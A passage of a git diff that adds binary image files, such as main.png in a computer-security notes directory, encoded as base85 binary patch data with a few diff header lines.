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 literal 0 HcmV?d00001 diff --git a/6.计算机安全/static/main.png b/6.计算机安全/static/main.png new file mode 100644 index 0000000000000000000000000000000000000000..d28b631c63b7339e3661f2df602b86ed3cf56185 GIT binary patch literal 14358 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 